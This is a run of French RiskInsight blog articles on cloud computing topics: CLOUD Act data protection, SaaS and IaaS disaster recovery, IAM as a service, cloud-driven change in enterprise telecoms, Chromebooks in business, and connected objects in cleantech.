Dans un monde où les questions de confidentialité des données deviennent de plus en plus importantes (Cambridge Analytica, Google Home Mini), les protections sur les données des clients peuvent être un argument décisif lors du choix entre des offres compétitives. Le positionnement des fournisseurs américains sur les questions de Privacy et de protection des données est attendu impatiemment.

Que faire aujourd’hui ?

Pour conclure, les nouvelles réglementations sur la privacy restent assez ambiguës et peuvent même se heurter sur certains points. La principale conclusion reste que les Européens devraient être mieux protégés par le RGPD face au CLOUD Act, si les fournisseurs américains dénoncent les requêtes abusives et que les tribunaux en charge de valider la demande jouent leurs rôles. Les clients non européens, quant à eux, ne seraient pas plus protégés en hébergeant leurs données en Europe.

En attendant l’entrée en vigueur de nouvelles lois traitant de la confidentialité et les éventuelles saisies des données, vous pouvez prendre des mesures pour protéger vos données personnelles et commerciales contre les écoutes d’outre-mer et autres menaces potentielles :

1. Clarifier avec votre fournisseur dans quelles conditions il pourrait être amené à donner accès à vos données, sans oublier de prendre en compte les traités d’assistance judiciaire mutuelle (Mutual Legal Assistance Treaties).
2. Définir ou revoir votre stratégie d’hébergement suivant le type de données, la nationalité du fournisseur et la location de l’hébergement
3. Privilégier l’hébergement de données dans des datacenters européens ou dans des pays disposant de règles bien établies en matière de confidentialité des données.
4. Choisir un fournisseur français ou européen permet d’éviter les risques du CLOUD Act. En contractualisant qu’il n’utilise pas de sous-traitants américains (directement ou indirectement) !

Cet article CLOUD Act : vos données sont-elles mieux protégées ? est apparu en premier sur RiskInsight.

Le secours informatique SaaS, une responsabilité du fournisseur à formaliser

Un service SaaS (Software as a Service) est un logiciel mis à disposition et directement consommable depuis Internet. Il est géré et administré par un ou plusieurs fournisseurs.  Le client n’a donc pas la latitude nécessaire pour opérer le secours (pas d’accès aux données brutes, pas d’accès aux codes sources, ni aux applicatifs pour dupliquer l’infrastructure…), il doit donc s’en remettre au bon vouloir de son fournisseur.

Un niveau de couverture du secours informatique pour SaaS variable suivant la maturité du fournisseur

Trois grandes tendances se dessinent :

• Les fournisseurs qui disposent d’un plan de secours informatique inclus
  Dans le cadre de l’offre standard, le fournisseur assure un secours sur un datacenter distant, complété généralement par des sauvegardes externalisées. Il ne s’engage néanmoins que rarement sur les délais de reprise.
  Ex : les grands acteurs du SaaS (ex : Office 365, SalesForce, SAP…) , ainsi que certains acteurs de taille intermédiaire (ex : Evernote, Xero…) ;

• Les fournisseurs qui disposent simplement d’une sauvegarde externalisée
  En tant que tel, aucun plan de secours informatique n’est clairement établi. Le client doit alors s’interroger sur la capacité du fournisseur à restaurer les sauvegardes en cas de sinistre global sur le site principal.
  Ex : Des fournisseurs de taille intermédiaire (ex : Zervant, Sellsy…) ;

• Les fournisseurs qui ne communiquent pas ou n’en disposent pas
  Le sujet du secours informatique n’est pas abordé, il est donc préférable de considérer que rien n’est fait.
  Ex : Les acteurs de petite taille sont généralement dans ce cas.

L’importance de l’aspect contractuel

Dans la très grande majorité des cas, les fournisseurs SaaS ne s’engagent pas dans leur contrat sur leur façon de gérer le secours ; même lorsque ceux-ci mettent en avant leur capacité à traiter cette problématique. En effet, les contrats comportent généralement par défaut des clauses de Force Majeure stipulant que le fournisseur n’est pas responsable de manquement aux obligations du contrat dans la mesure où ce manquement est causé par un évènement en dehors de leur contrôle raisonnable. Le risque juridique doit donc être traité lors de la souscription et ces clauses supprimées pour s’assurer un bon niveau de couverture.

Lors de la souscription, comme pour des contrats classiques, les clients doivent s’assurer que figure bien des engagements de service, en particulier pour les secours informatiques :

• Le délai de reprise (Durée Maximale d’Interruption Acceptable ou DMIA) et les pertes de données (Perte de Données Maximale Acceptable ou PDMA) en cas de sinistre;
• Le plan de secours informatique du fournisseur incluant les modalités de gestion de crise ainsi que l’obligation de conduire plusieurs tests probants par an de ce plan avec la possibilité pour le client d’accès au rapport des tests ;
• Les pénalités financières et le droit de résilier le contrat (avec en particulier la récupération des données exploitables) en cas de manquement aux engagements.

Le secours informatique du IaaS/PaaS, une mise en oeuvre et une responsabilité du client

Le IaaS (Infrastructure as a Service) est une offre standardisée et automatisée de ressources de calcul, de moyens de stockage et de ressources réseau détenus et hébergés par un fournisseur et mis à disposition au client à la demande. L’offre PaaS (Platform as a Service) est similaire à celle du IaaS, à la différence près qu’elle ne concerne que les infrastructures applicative (définitions Gartner) Contrairement au cas du SaaS, le secours reste sous la responsabilité du client dans les deux cas : les fournisseurs IaaS/PaaS mettent à disposition des ressources dans différents datacenters et le client est responsable de l’usage et de la configuration qu’il en fait. Deux solutions s’offrent aux clients utilisant ces services : confier à un prestataire son secours ou bien le gérer lui-même.

Avoir recours à un prestataire de secours, un marché peu mature

Les prestataires de secours dans le Cloud sont désignés par l’acronyme « DRaaS » pour Disaster Recovery as a Service. Initialement, les fournisseurs DRaaS proposaient d’assurer dans le Cloud le secours de votre SI « on-premise ». Mais ils proposent également aujourd’hui d’assurer le secours de vos infrastructures déjà dans le Cloud, AWS ou Azure par exemple. La maturité reste très variable selon les fournisseurs et le cloud utilisé. Certains fournisseurs DRaaS imposent que le Cloud de destination du secours soit le leur, ne permettant pas ainsi de couvrir le secours de service PaaS.

Comme avec le SaaS, pas de garanties incluses par défaut quant aux pertes de données ou au délai de reprise, il faut les négocier. Les fournisseurs promettent de pouvoir s’adapter aux exigences du client ! Pour s’assurer que le secours fonctionne, le client doit prévoir la réalisation régulière de tests probants du secours (recommandation d’une fois par an).

Réaliser soi-même son secours en utilisant les outils proposés par le fournisseur

Comme sur une infrastructure « on-premise », il est nécessaire de réfléchir et définir sa stratégie de secours dès la conception. Cette stratégie doit intégrer la capacité de réaliser des tests probants permettant d’assurer un niveau de confiance suffisant dans son plan.

La mise en place est simplifiée par les outils mis à disposition par les fournisseurs Cloud et la forte standardisation des environnements Cloud. Les grands acteurs publient dans des livres blancs les grandes lignes directrices pour mettre en place un tel projet (par exemple AWS ou Azure).

Les concepts des stratégies du secours informatique restent proches de celles pour les datacenters on-premise.

On peut en dénombrer quatre principales :

• la sauvegarde et restauration: simple sauvegarde des données et images des machines sur un site distant, restaurées en cas de sinistre ;
• la veilleuse: réplication des bases de données et mise à disposition des machines sous forme d’images prêtes à être démarrées en cas de sinistre ;
• le secours à chaud: réplication complète du site primaire (données et machines), le site de secours est sous-dimensionné en termes de performances et est prêt à monter en charge en cas sinistre ;
• le multi site (ou actif-actif): les deux sites sont identiques et se partagent la charge des utilisateurs. En cas de sinistre, le site restant peut monter en charge pour accueillir la totalité des utilisateurs.

Des solutions hybrides pouvant mieux s’adapter aux exigences de délai de reprise, coût et complexité de la solution peuvent être envisagées.

Le véritable apport du Cloud pour le secours concerne les nombreux outils mis à disposition simplifiant la mise en œuvre et le déclenchement.

La réplication des données est ainsi simplifiée pour les options de géo-réplication asynchrones (plusieurs copies répliquées dans d’autres régions). La PDMA est variable en fonction des types de données et des outils proposés. Au-delà de cette option, une redondance locale des données est presque systématiquement incluse.

La forte standardisation permet également d’automatiser la reprise : les scripts ou API mis à disposition par les fournisseurs permettent d’automatiser le déploiement des infrastructures, le redimensionnement des instances en fonction de métriques précédemment définies, la répartition des charges et du trafic ou, l’adressage IP etc… afin d’accélérer de façon significative l’activation d’un site de secours.

Les outils de surveillance et alerte qui sont également proposés visent à faciliter le Maintien en Conditions Opérationnelles (MCO) du secours et peuvent être utilisés pour détecter au plus tôt un incident voire, dans certains cas, automatiser partiellement le déclenchement du secours.

Enfin la capacité à provisionner des nouvelles ressources en quelques minutes permet de limiter l’OPEX. A stratégie équivalente, il est ainsi possible d’avoir des gains de 40 à 70% sur le coût du secours !

Vers une plus grande prise en charge par le fournisseur ?

Azure prévoit une option, courant 2017, pour assurer le secours des machines virtuelles hébergées au sein de leur plateforme via la complétion de leur service « Site Recovery ». En effet, « Site Recovery » propose à l’heure actuelle de prendre en charge le secours de site traditionnel en utilisant le cloud Azure pour accueillir le site secondaire, mais Microsoft souhaite étendre ce service au secours de leurs propres infrastructures. Cet outil permettrait un déploiement automatique du site secondaire (de type actif-passif), une réplication automatique des données et une mise en place de tests facilitée.

Cette option est passée en « public preview » fin mai 2017. Un projet équivalent n’est pas d’actualité chez les autres principaux fournisseurs IaaS/PaaS.

Le cloud face au risque systémique des fournisseurs

Le secours informatique des services hébergés dans le cloud s’aborde différemment selon le type de service utilisé. Le secours du SaaS doit être géré contractuellement et est sous la responsabilité du fournisseur tandis que le secours du IaaS/PaaS, simplifié par les outils, reste sous la responsabilité du client.

Le risque de défaillance généralisé d’une région d’hébergement d’un fournisseur existe comme le montre les derniers incidents. Même si aujourd’hui, les incidents ont été de courte durée ou avec des impacts fiables, une défaillance généralisée ne peut pas être ignorée. Reste donc à traiter la problématique de cyber-résilience. L’utilisation d’un 2^ème fournisseur cloud permet de couvrir le risque de destruction ou d’indisponibilité majeure des infrastructures du premier. Cette solution reste très complexe car la portabilité d’un fournisseur à un autre est délicate. Pour l’instant, peu d’entreprises s’y sont risquées, même si l’on peut citer l’exemple de Snapchat qui utilise le cloud Google pour sa production et prévoit d’utiliser celui d’Amazon pour son secours d’ici à 5 ans.

Cet article Le Cloud, la fin ou renouveau du secours informatique ? est apparu en premier sur RiskInsight.

Le principal frein rencontré jusqu’ici était de voir toutes ses données externalisées. Ce frein est petit à petit en train de disparaître lorsque l’on se rend compte qu’elles le sont déjà. En effet, le système RH comme le CRM sont, pour bon nombre d’entreprises, déjà dans le cloud ! Les données critiques liées au métier de l’entreprise sont elles-mêmes déjà externalisées à travers les solutions de messagerie et autres suites collaboratives en mode SaaS. Pour quelles raisons l’IAM échapperait-il à cette révolution ?

Identity Access Management As A Service (IAMaaS) : qu’est-ce que cela représente réellement ?

Les offres d’IAM en cloud permettent de gérer et fédérer différentes ressources. Si elles sont bien utilisées, elles peuvent être un vrai accélérateur pour les métiers de l’entreprise. Mais comme tout service dans le cloud, il y a des avantages (coûts, mises à jour régulières, etc.) et des inconvénients (contrôle des données, protocoles et formats parfois non standards, etc.).

Les clients et les partenaires, tout comme les employés ou prestataires, peuvent bénéficier de la fédération d’identités. De même, des connecteurs spécifiques sont mis en œuvre pour les applications SaaS ou on-premises, utilisées par l’entreprise. Les utilisateurs peuvent se connecter via n’importe quel type de terminal. Il reste quelques incontournables pour profiter pleinement d’un IAMaaS et en garder la maîtrise : la capacité de faire des revues de comptes, la disponibilité des connecteurs de provisioning vers les applications et la maîtrise de l’envoi dans le cloud de données à caractère personnel.

Externalisation de l’IAM : penser avant tout à la maturité du SI

La capacité du SI à adopter des standards et des protocoles ouverts est un sujet clé pour réussir un déploiement d’IAM dans le cloud.

Il faut donc, après avoir choisi un premier périmètre d’application, s’assurer que ce dernier respecte les normes et bonnes pratiques en vigueur concernant l’authentification et la gestion des identités. De même l’existence d’un référentiel interne centralisé, afin de communiquer avec la solution d’IAM, sera nécessaire dans la majorité des cas.

Enfin, en prenant la problématique dans l’autre sens, c’est aussi une opportunité de fournir très rapidement aux nouveaux projets une plate-forme mâture supportant les derniers standards : fédération, authentification mobile, provisioning, etc.

Anticiper les risques : plus qu’un besoin, une nécessité

En comparaison avec des solutions on-premises, certains risques seront couverts de la même manière voire potentiellement mieux par une solution cloud : la disponibilité du système et la compromission des données. Les fournisseurs sont souvent plus mâtures que l’entreprise sur le sujet de la résilience des infrastructures et ont anticipé le cloisonnement vis-à-vis des administrateurs dès la conception du service.

D’autres risques doivent en revanche être spécifiquement adressés comme :

• Laréversibilité: il faut s’assurer qu’il est possible à tout moment de récupérer ses données dans un format exploitable et il ne faut faire aucun compromis sur l’utilisation de standards.
• L’isolation des données: cette dernière est parfois très difficile, voire impossible à contrôler ; néanmoins il est possible de s’assurer de manière contractuelle de l’isolation de ses données par rapport aux autres clients du fournisseur.
• La conformité: dans le cadre de certaines obligations (CNIL notamment) il est nécessaire de s’assurer que les données externalisées seront hébergées dans le respect de la norme (en Europe pour la CNIL). Une approche face à cela est de recourir au chiffrement des données avant envoi mais ce n’est pas forcément simple à exploiter dans une solution IAM.

Une opportunité pour moderniser son IAM

L’IAMaaS est une réelle opportunité qui permet d’offrir un service stable, standard et moderne aux différents métiers de l’entreprise.

De même, les utilisateurs étant habitués aux applications en cloud (accessibles partout, tout le temps et depuis tout terminal), la mise en place d’une fédération gérée par l’IAM en cloud et d’un portail IAM de ce type ne perturbera pas, ou très peu, leurs habitudes.

Enfin, en plus de des interfaces simples et efficaces proposées aux utilisateurs, les solutions d’IAMaaS mettent à disposition des API REST modernes, adaptés aux applications web (HTML5/Angular.js) ou aux applications mobiles, permettant à celles-ci d’interagir directement dans la gestion des identités. De quoi accompagner la transformation numérique que toute entreprise aborde aujourd’hui.

De nombreux acteurs sont aujourd’hui sur ce marché actif et l’offre fonctionnelle est très riche : Okta, Salesorce, Microsoft, Ping Identity, Memority, RSA, Cap Gemini, etc.

L’option cloud est aujourd’hui incontournable – ne serait-ce qu’en phase de cadrage IAM – et il faut désormais justifier la pertinence et le besoin de rester sur des infrastructures on-premises.

Cet article IAM dans le Cloud : est-ce le moment de se lancer ? est apparu en premier sur RiskInsight.

Le cloud n’a cependant pas le même impact sur toutes les composantes des télécoms.

L’audioconférence et la webconférence, services early adopters du cloud

Les services d’audioconférence et de webconférence sont désormais quasi-exclusivement fournis en mode SaaS. Ces services étant relativement simples à acheter et à mettre en place, il n’est pas rare qu’il y ait plusieurs contrats pour un même service au sein d’une même entreprise.

Les fournisseurs de solutions de communications unifiées veulent se positionner en concurrent de ces solutions. Pour autant, les problématiques d’interopérabilité de ces solutions pour communiquer entre des entreprises différentes font que les services SaaS restent aujourd’hui leaders de ce domaine.

Des centres de relation client qui s’appuient de plus en plus sur des services cloud

Les problématiques de centres de relation client sont souvent portés par les métiers ou par les DSI les plus proches des métiers.

Le marché montre aujourd’hui un mouvement vers des solutions cloud. Si les prix sont bien évidemment un moteur de cette évolution, pouvoir permettre aux métiers de faire évoluer facilement la configuration fonctionnelle et ne pas avoir besoin de compétences pointues en interne favorise l’adoption du cloud.

Il est à noter que, pour les CRC, la dépendance vis-à-vis des fournisseurs est forte. Soit parce que la solution est en mode cloud et que la réversibilité est complexe, soit parce qu’il y a forte dépendance vis-à-vis de l’éditeur si la solution est internalisée. Le critère de dépendance vis à vis d’un fournisseur n’est donc pas discriminant pour le choix d’une solution. Ceci explique probablement pourquoi ce mouvement d’adoption des solutions cloud est aussi net alors même que les solutions sont amenées à fortement évoluer sous la pression des projets de transformation numérique.

Le cloud, accélérateur de services : la vidéoconférence de salle

La vidéoconférence de salle s’est profondément renouvelée avec l’apparition de nouvelles offres de service reposant sur le cloud. Si le cloud n’est pas à lui seul la source du renouveau de la vidéoconférence, il a néanmoins permis son enrichissement fonctionnel et une amélioration de l’expérience client.

Il est possible de distinguer deux types de vidéoconférence : la vidéoconférence immersive et la vidéoconférence de salle.

La vidéoconférence immersive étant un service récent destiné aux VIP, elle reste un service transverse aux différentes branches de l’entreprise que la DSI groupe est la plus légitime à fournir. Pour les solutions immersives, les clients optent fréquemment pour des solutions clé en main reposant sur le cloud, notamment en raison d’un périmètre relativement faible de salles, d’utilisateurs VIP et de contraintes budgétaires moins fortes que sur la visioconférence classique.

A contrario, l’impact du cloud sur la vidéoconférence classique est plus modéré. Le marché passe d’un modèle intégré à un modèle infogéré plutôt qu’à un modèle cloud. Ceci s’explique par le poids de l’existant et les volumes considérés.

Télécoms industrielles : le cloud, pilier de la nouvelle révolution

Les solutions industrielles s’appuient sur deux piliers : des solutions télécoms innovantes et des services cloud le plus souvent capables de traiter un grand volume de données. Le Big Bata jouera un rôle clé dans cette révolution.

La vidéo sur le poste de travail : le cloud peut-il en favoriser l’émergence ?

Les services de vidéo sur le poste de travail se développent notamment chez les grands comptes avec des équipes réparties dans le monde entier, en complément d’une vidéoconférence de salle ou lors de la mise en place de projets de communications unifiées.

Le cloud pourrait faciliter l’émergence de ces usages, notamment en facilitant les Proof of Concept. Ceci est d’autant plus vrai qu’il existe des services d’interconnexion cloud permettant de relier ces solutions sur postes de travail à d’autres moyens de communication comme la vidéoconférence.

La téléphonie, toujours plus externalisée, mais pas encore dans le cloud

Les solutions de téléphonie des grandes entreprises sont maintenant très majoritairement des solutions IP. Le mouvement vers l’IP étant bien amorcé, les organisations associées sont également en cours de transformation. La téléphonie a déjà basculé des services généraux vers les équipes SI. En parallèle, la plus grande criticité des systèmes centralisés et le recours à une expertise nouvelle fait que l’exploitation de la téléphonie a dû être renforcée. Ce renforcement passe souvent par une externalisation de tout ou partie de la téléphonie. De fait, la téléphonie est de plus en plus souvent infogérée.

Pour autant, cette externalisation ne va pas jusqu’au cloud : la téléphonie en mode cloud public n’a toujours pas percé chez les grandes entreprises. Néanmoins, une nouvelle génération de téléphonie dans le cloud émerge aujourd’hui : promesses de gains plus élevées, limitations fonctionnelles moins nombreuses, intégration de fonctionnalités de communications unifiées… Le service, qui reste très jeune, connaîtra peut-être un décollage dans les années à venir.

En conclusion, le cloud est présent sur de plus en plus de services télécoms que ce soit des services à l’utilisateur ou des télécoms métier. C’est une opportunité pour le responsable télécoms de développer de nouveaux services et d’apporter plus de valeur aux utiliseurs. Il semble d’autant plus nécessaire pour lui de se positionner en offreur de services innovants que les métiers seront tentés de se passer de la DSI pour les acheter – au détriment des bonnes pratiques de gouvernance.

Cet article Cloud : vers le renouvellement des services télécoms ? est apparu en premier sur RiskInsight.

Pour rappel, les télécoms sont composées de services d’infrastructure (réseaux intersites : WAN et MAN, collecte de la voix, accès internet, accès partenaires), de services d’infrastructure site (réseaux locaux et réseaux internes aux datacenters, wifi), de services utilisateurs (téléphonie, nomadisme, mobilité, communications unifiées, audioconférences, webconférences, vidéoconférences) et de services métiers (télécoms industrielles, centre de relation client, mobilité métier).

Une infrastructure télécom qui doit s’adapter pour être cloud-ready

Repenser la place de l’internet

Avec l’arrivée du cloud, de plus en plus de ressources ne se situent plus dans les sites ou datacenters de l’entreprise mais sur des plates-formes mutualisées situées chez des partenaires. La messagerie, le SIRH ou les webconférences ont déjà amorcé ce mouvement. Ceci signifie que les flux évoluent.

En premier lieu, le volume des flux transportés entre les sites augmente. Des flux à destination de serveurs locaux sont devenus des flux à destination de serveurs distants. Il n’est pas rare que les migrations de messagerie dans le cloud déclenchent des upgrades réseaux massifs.

Ensuite, les flux vers l’extérieur se développent. Le besoin d’accès fiables et performants à internet est renforcé. À titre d’exemple, 50 à 80% des flux d’un grand compte industriel utilisant fortement le cloud sont à destination d’internet.

Enfin, les flux, y compris critiques, ne circulent plus uniquement sur un réseau interne à l’entreprise, mais sont également à destination de l’extérieur, et donc d’internet.

Gérer ces flux implique souvent de décentraliser une partie des accès internet et de s’assurer de la bonne performance de la solution tout en garantissant le niveau de sécurité nécessaire. Deux tendances émergent aujourd’hui : la première consiste à souscrire à un accès into the cloud tout en externalisant tout ou partie de la sécurité. La seconde consiste à disposer d’accès internet directement sur site ; ce sont les solutions dites hybrides ou d’internet off-load.

Construire son propre nuage : le cloud privé

Si la terminologie cloud sous-entend souvent cloud public, il existe également des clouds privés ou clouds hybrides. Dans ces cas, il est nécessaire de mettre en œuvre de nouvelles solutions réseaux pour s’adapter à la virtualisation des ressources de datacenters et à la cohabitation entre les clouds publics et privés. C’est pourquoi nos clients rénovent aujourd’hui la plupart de leurs solutions LAN DC. Dans ces projets, les frontières entre les télécoms, la sécurité et le reste de l’infrastructure deviennent de plus en plus floues aussi bien en termes d’infrastructures que de compétences.

Une organisation à adapter au cloud : renforcer les fonctions d’architecte, de responsable client et de responsable fournisseur

Un département architecture plus fortement sollicité

La mise en place d’un réseau cloud-ready pose de nouvelles questions d’architecture télécoms et sécurité liées aux changements de matrice de flux, au design des solutions hybrides et à leur sécurisation. Le LAN DC nécessite également une forte implication des architectes.

Ces dernières années, les solutions MPLS et les accès internet ont été relativement stables et ont assez peu sollicité les architectes. Cela change avec l’arrivée du cloud, ce qui confirme l’importance du rôle d’architecte référent.

Le cloud impose de se rapprocher de ses clients internes

Comme nous l’avons souligné plus haut, le cloud permet aux clients de s’affranchir plus facilement des services de la DSI. Par exemple, les directions métiers n’ont pas besoin de la DSI pour souscrire à une solution de webconférence. Le client doit devenir une des préoccupations du responsable télécoms. Les responsables clients doivent être clairement identifiés pour fluidifier les relations.

Il devient de plus en plus nécessaire de disposer d’un catalogue de service télécoms et d’être en mesure de le faire évoluer. Nous constatons l’apparition d’un véritable rôle de chef de produit chez nos clients de manière à être plus réactif vis-à-vis des demandes des clients internes.

Par ailleurs, pour être en phase avec la logique de service attendue des clients pour les services utilisateurs, les offres télécoms ne peuvent plus se limiter à des solutions techniques, elles doivent intégrer les notions d’ergonomie, support et facilité d’utilisation qui sont souvent des facteurs clés de succès d’une offre télécom. Les rôles de responsable client et de chef de produit prennent de l’ampleur. Il sera parfois nécessaire de faire évoluer la gouvernance entre la DSI et ses clients pour permettre à ces rôles de prendre leur place.

Le cloud impose une gestion fournisseur plus complexe

Le cloud est bien une forme d’externalisation. Les services externalisés tendent à être de plus en plus nombreux et de moins en moins standards nécessitant de plus en plus de customisation. La réversibilité devient de plus en plus complexe (par exemple, les centres d’appels) et la dépendance vis-à-vis du fournisseur importante. La contractualisation de ses services doit faire l’objet d’une attention particulière pour prendre en compte ces points, ainsi que l’évolutivité des services et la maîtrise des coûts.

Le pilotage des fournisseurs devient donc de plus en plus complexe et la culture du « faire-faire », un savoir-faire important. Le rôle de pilotage des fournisseurs s’affirme donc comme un rôle clé.

En conclusion, le cloud nécessite une adaptation des infrastructures télécoms au niveau du réseau intersites (WAN) et dans les datacenters. Il fait ainsi émerger de nouveaux rôles ou renforce l’importance de certaines fonctions. L’organisation de la DSI devra en tenir compte, de manière à renforcer les rôles d’architecte, de pilotage des fournisseurs et rendre audible la voix du client interne.

 Découvrez bientôt sur Solucom Insight l’impact du cloud sur le renouvellement des services télécoms.

Cet article Comment le cloud bouscule les télécoms de l’entreprise est apparu en premier sur RiskInsight.

Des ventes modestes mais des perspectives intéressantes

Les ventes de Chromebook restent faibles : 2,9 millions d’unités ont été vendues en 2013 sur un marché total de 317 millions de PC, soit moins de 1% du marché. Elles sont également très ciblées, puisqu’elles se concentrent principalement en Amérique du Nord sur le marché de l’éducation.

Néanmoins, selon le cabinet d’étude Gartner, le marché du Chromebook devrait voir ses ventes augmenter de 79 % en 2014 par rapport à 2013 et les ventes devraient tripler d’ici 2017 pour atteindre 14,4 millions d’unités. Des chiffres relativement modestes mais en contraste avec un marché du PC en berne.

Le Chromebook concrétise la vision du PC selon Google

Pour Google, un PC sert avant tout à utiliser des applications web sur internet. Dans cette optique, le géant de Mountain View a conçu Chrome OS, un système d’exploitation léger basé sur son navigateur Chrome. L’interface est minimale et épurée, privilégiant la simplicité et la réactivité. Chrome OS est conçu principalement pour un usage connecté : il permet d’exécuter des applications Web… en particulier les services fournis par Google : Google Apps, Google Play, Google Print…

La légèreté de l’OS permet aux constructeurs de proposer des appareils avec des configurations matérielles modestes et donc des prix très attractifs tant pour les Chromebook (ordinateurs portables) que pour les Chromebox (ordinateurs fixes, à la diffusion plus confidentielle).

Outre l’accès à des applications web, il est également possible d’utiliser des applications spécifiques sur  les Chromebook, les Chrome Apps. Celles-ci sont à base de technologies web mais avec l’apparence d’une application classique. Elles permettent surtout un fonctionnement en mode déconnecté pour un usage hors ligne (c’est le cas de Gmail par exemple). Les Chrome Apps sont accessibles via le store applicatif Chrome Web Store, un peu à l’image de Google Play pour Android.

Des caractéristiques séduisantes pour les entreprises…

Les Chromebook se caractérisent par leur facilité d’utilisation : démarrage et arrêt en quelques secondes, interface simple et intuitive, ajout d’applications via le Chrome Web Store, puissance et efficacité des outils Google parfaitement intégrés.

Les entreprises apprécieront également le peu d’opérations de maintenance nécessaires avec des mises à jour automatiques et fréquentes de l’OS et une gestion de la sécurité native (vérification au démarrage, navigateur sécurisé, données chiffrées…).

Google fournit également une console d’administration avec des fonctions minimales permettant de gérer une flotte de Chromebook : gestion des utilisateurs, de la configuration, des applications (applications préinstallées, liste blanche ou noire d’applications autorisées ou interdites), reporting.

Autant d’attributs qui rendent le Chromebook séduisant pour les entreprises.

… mais une intégration compliquée avec l’existant de l’entreprise

De nombreuses limites apparaissent en effet vite lors de l’utilisation d’un Chromebook en entreprise, la première concernant les applications.

Un Chromebook permet d’accéder aux applications au format web. Néanmoins, de nombreux sites intranet n’ont pas été conçus pour le navigateur Chrome mais pour Internet Explorer et pourraient nécessiter des adaptations. Les sites web utilisant des middlewares Java, Silverlight ou Flash ne sont également pas supportés.

Les applications Windows pour leur part ne fonctionnent pas sur un Chromebook. Certaines, encore peu nombreuses pour les applications professionnelles, sont disponibles au bon format dans le Chrome Web Store. Pour les autres, une solution  sera de se tourner vers des solutions de type publication d’applications ou de bureaux virtuels fournis par Citrix ou VMware, qui disposent de clients pour Chromebook. Ces clients (au format HTML 5) ne sont cependant pas encore aussi avancés que sur d’autres plateformes.

Les autres limites concernent l’intégration avec des services classiques d’infrastructure. Un Chromebook ne s’intègre pas dans un annuaire Active Directory et nécessite forcément un compte Google. Egalement gênant est la difficulté voire l’impossibilité d’utiliser des services aussi basiques que du partage de fichiers ou d’impression. Un utilisateur peut ainsi ajouter une imprimante mais cela nécessite d’utiliser les services Google Print mais également de disposer d’imprimantes « Cloud-Ready Printer, ce qui est rarement le cas en entreprise actuellement.

Quel avenir dès lors pour les Chromebook en entreprise ?

Le Chromebook représente une vraie rupture par rapport au modèle de PC classique sous Windows : plus simple, plus rapide, nécessitant peu de maintenance et peu coûteux, il reste cependant limité fonctionnellement et ne pourra rendre les mêmes services en entreprise. Est-ce à dire que c’est une voie sans issue ?

Pour des entreprises utilisant déjà les services Google comme Google Apps, la question de l’utilisation de Chromebook pour certains profils utilisateurs se doit d’être posée. Cette solution peut avoir un intérêt dans différents cas : utilisateurs mobiles travaillant principalement avec des outils collaboratifs, offre de type PC low cost avec un accès aux applications Windows via les solutions Citrix ou VMware, remplacement de clients légers, borne d’accès Intranet/Internet…

Pour les autres, Google continue à investir dans sa solution et à développer des partenariats pour améliorer sa plateforme : alliance avec Cisco pour disposer de Webex sur sa plateforme, travail avec Citrix et VMware pour améliorer l’accès aux applications Windows. L’engagement de constructeurs comme Lenovo ou HP est aussi à souligner.

Autant de signes positifs pour les Chromebook et leur développement en entreprise. À Google de se donner les moyens de percer pour de bon dans le monde de l’entreprise !

Cet article Chromebook : le PC Cloud de Google à l’assaut des entreprises est apparu en premier sur RiskInsight.

Cette association recouvre aussi une réalité industrielle, où les géants de l’informatique créent les conditions de marché favorables (standards, adoption des technologies, solutions globales) tandis qu’une multitude de startups essayent d’apporter des réponses créatives aux potentiels ainsi générés.

De grands acteurs mobilisés pour un marché prometteur

Les objets connectés ont dépassé le nombre d’humains depuis 2008 et atteignent d’ores et déjà plus de 50 milliards d’unités, qui produisent une masse de données doublant tous les 2 ans environ.

La première phase indispensable de l’Internet of Things, à savoir l’équipement en matériels (capteurs et connexions), est donc lancée. Dans les entreprises, il faudra l’accompagner d’une mise en place de processus et d’une conduite du changement  pour lier de manière utile hommes et données, pour transformer celles-ci en informations.

Chacun des acteurs du secteur tente de se positionner sur la chaîne de valeur qui se met progressivement en place et qui génerera selon Gartner plus de 1 900 milliards de $ d’ici 2020.

Deux initiatives concrètes conduites par GE (Industrial Internet) et Cisco (FOG) se positionnent sur ce marché.

Industrial Internet est un consortium regroupant GE, AT&T,Cisco et Intel visant à la digitalisation de tous les métiers de l’Industrie. GE se l’applique d’abord à elle-même avec par exemple une éolienne connectée permettant de mieux gérer la variabilité de fonctionnement inhérente à cette énergie et donc d’augmenter son efficacité de 25%. Mais elle propose aussi à tous la plateforme Predix, qui propose d’analyser les données collectées.

Le FOG computing est quant à lui une évolution du Cloud proposée par Cisco, où l’intelligence se veut mieux répartie, près des sources de données, afin d’améliorer la QoS et accélérer le traitement. L’apport de ce positionnement qui multiplie les équipements devrait être surtout palpable pour des besoins temps réel, où être en bordure du Cloud, voire en local, sera nécessaire.

Un foisonnement de startups à fort potentiel

Cette concrétisation à grande échelle est basée sur des composants miniaturisés qui communiquent entre eux (convergence vers le Bluetooth) et qui sont de plus en plus économes. Il reste néanmoins de grands progrès de standards à faire (matériel, logiciel, transmission) et des cas d’usages à affiner.

La question de l’énergie est particulièrement ciblée, que ce soit au niveau de la production ou de la consommation. La tendance cleantech, qui regroupe obligations légales, besoins marketing et conscience écologique, aiguillonne en effet des acteurs en recherche d’économies et d’optimisation. On pourra par exemple citer quelques quelques jeunes pousses françaises qui se sont lancé sur ce marché à trois dimensions : ville,  bâtiments et  utilisateurs.

• Pour la ville : AgoraEnergy cherche à convaincre les mairies d’introduire des capteurs de remplissage pour les citernes de gaz et les bennes de déchets, ce qui permet d’optimiser les tournées. De son côté, Incitât met en place la facturation individuelle des déchets via des poubelles intelligentes, ce qui améliore les taux de tri par une incitation économique. Dans un autre domaine, G2 Mobility déploie des bornes de recharge pour véhicules électriques pilotées à distance.
• Pour les bâtiments : Avob, Ubiant ou Intent démarchent les constructeurs et gestionnaires de bâtiments avec un packagesystème d’exploitation, applications, box et capteurs permettant de mettre en place un réseau de suivi de consommation d’énergie et d’interagir avec les appareils.
• Pour les utilisateurs : Alfileo propose des éléments similaires mais avec un focus sur les clients industriels d’énergie consommateurs de froid tandis que WattGo se positionne sur les particuliers avec box et algorithmes pour permettre de déstructurer la courbe de consommation.

La diversité et l’ampleur des exemples cités illustrent un écosystème Cleantech tangible avec un potentiel qui se concrétise grâce au déploiement d’objets connectés. Les premières alliances, investissements et retours d’expérience enrichissent la vision business des objets connectés. Cet axe pionnier et prometteur d’efficacité écologique doit inviter les entreprises susceptibles d’être impactées par la généralisation des objets connectés (c’est-à-dire toutes !) à réfléchir dès à présent au rôle que ceux-ci peuvent jouer dans leurs métiers.

Cet article Les objets connectés, leviers clés des Cleantech est apparu en premier sur RiskInsight.

